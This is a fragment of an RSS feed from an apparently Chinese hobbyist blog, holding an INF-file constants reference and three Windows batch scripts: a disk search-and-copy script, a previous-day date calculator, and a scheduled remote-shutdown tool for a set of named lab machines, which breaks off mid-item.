13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;----------------------------------------------------------&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;常量 根值&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKCR HKEY_CLASSES_ROOT.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKCU HKEY_CURRENT_USER.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKLM HKEY_LOCAL_MACHINE.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;HKU HKEY_USERS.&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;-----------------------------------------------------------&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FLG_ADDREG_APPEND 在多字符串后添加字符&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FLG_ADDREG_TYPE_SZ 字符类型&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FLG_ADDREG_TYPE_MULTI_SZ 字符串类型&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FLG_ADDREG_TYPE_EXPAND_SZ 扩展字符串类型&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FLG_ADDREG_TYPE_BINARY 二进制值&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FLG_ADDREG_TYPE_DWORD DWord值&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;FLG_ADDREG_TYPE_NONE NULL值&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;----------------------------------------------------------&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;DestinationDirs&#093;节中所定义的常量路径&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;----------------------------------------------------------&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;01 源目录(后跟路径)&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;10 Windows目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;11 Windows系统目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;12 驱动目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;17 INF文件目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;18 帮助文件目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;20 字体目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;21 根目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;24 应用程序目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;25 共享目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;30 当前根目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;50 System目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;51 Spool 目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;52 Spool 驱动目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;53 用户配置目录&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;----------------------------------------------------------&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;&#091;DefaultInstall&#093;节中定义的操作&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;----------------------------------------------------------&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;LogConfig Log日志文件配置&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Copyfiles 复制文件&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Renfiles 文件改名&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Delfiles 删除文件&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;UpdateInis 更新Inis&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;UpdateIniFields 更新Ini字段&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;AddReg 添加注册项&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;DelReg 删除注册项&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;Ini2Reg Ini文件转换为Reg文件&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;-----------------------------------------------------------&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=776]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:11:16 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理,全盘搜索并拷贝文件至指定目录]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;SetLocal EnableDelayedExpansion&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for /f &quot;delims=&quot; %%i in (&#039;fsutil fsinfo drives^&#124;find /v &quot;&quot;&#039;) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set var=%%i&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set temp=!var:~-3!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set drive=!temp: =!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;fsutil fsinfo drivetype !drive!&#124;findstr &quot;固定&quot;&gt;nul &amp;&amp; for /f &quot;tokens=*&quot; %%a in (&#039;dir /s/a-d/b !drive!123.exe 2^&gt;nul&#039;) do (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a a=a+1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set ar!a!=%%~dpa&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp; !a! %%~dpa&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/p ch=请选择:&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%o in (%ch%) do (copy 1.txt &quot;!ar%%o!&quot;)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;pause&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=775]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:10:05 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理判断前一天日期]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::created by baoping&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::QQ:360565687&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::取得年月日&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set YE=%date:~0,4%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set MO=%date:~5,2%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set DA=%date:~8,2%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::设置提前天数&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set DG=1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::判断是否闰年&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a vY1=%YE% %% 400&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a vY2=%YE% %% 4&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a vY3=%YE% %% 100&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %vY1%==0 (set var=true) else (if %vY2%==0 (if %vY3%==0 (set var=false) else (set var=true)) else (set var=false))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::判断日期&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set LY=%YE%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set LM=%MO%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %MO:~0,1%==0 (set MO=%MO:~1,1%)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %DA:~0,1%==0 (set DA=%DA:~1,1%)&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %DA% GTR %DG% (set/a LD=%DA%-%DG%) else (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %MO%==1 (set/a LY=%YE%-1) &amp; (set/a LM=12+%MO%-1) &amp; (set/a LD=31+%DA%-%DG%) else (&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/a LM=%MO%-1&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %MO%==3 (if %var%==false (set/a LD=28+%DA%-%DG%) else (set/a LD=29+%DA%-%DG%))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (2 4 6 8 9 11) do (if &quot;%MO%&quot;==&quot;%%a&quot; (set/a LD=31+%DA%-%DG%))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%b in (5 7 8 10 12) do (if &quot;%MO%&quot;==&quot;%%b&quot; (set/a LD=30+%DA%-%DG%))))&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %LM% LSS 10 set LM=0%LM:~-1%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;if %LD% LSS 10 set LD=0%LD:~-1%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo %LY%%LM%%LD%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;pause &nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=774]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:09:35 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[帮别人写的一个关机的批处理]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@title 远程关机控制器&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 代表关闭所有计算机&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2 代表关闭指定计算机&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3 定时关闭所有计算机&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@set/p var2=请选择要使用的功能&#091;1/2/3&#093;:&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@if %var2%==1 goto a&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@if %var2%==2 goto b&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@if %var2%==3 goto c&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::关闭所有计算机&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:a&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@for %%i in (tsg01 tsg02 tsg03 tsg04 tsg05 tsg06 tsg07 tsg08 tsg09 tsg10) do @shutdown -s -f -m &#92;%%i -t 10&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::关闭指定计算机&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:b&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@set/p var= 请输入需要关闭的计算机名:&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@shutdown -s -f -m &#92;%var% -t 10&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;::定时关闭所有计算机&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:c&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@sc config schedule start= auto 1&gt;nul 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@net start schedule 1&gt;nul 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@set/p var1= 请输入关机时间: 例&#091;09:30:00&#093;:&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@if not exist C:temp mkdir C:temp&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@if exist C:temptask.bat del /Q C:temptask.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo for %%%%a in (tsg01 tsg02 tsg03 tsg04 tsg05 tsg06 tsg07 tsg08 tsg09 tsg10) do @shutdown -s -f -m &#92;%%%%a -t 10&gt;&gt;C:temptask.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@schtasks /delete /F /TN &quot;haltpc&quot; 1&gt;nul 2&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@schtasks /create /ru system /sc once /tn &quot;haltpc&quot; /st %var1% /tr &quot;C:temptask.bat&quot;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;&nbsp;</span><span style="font-size: 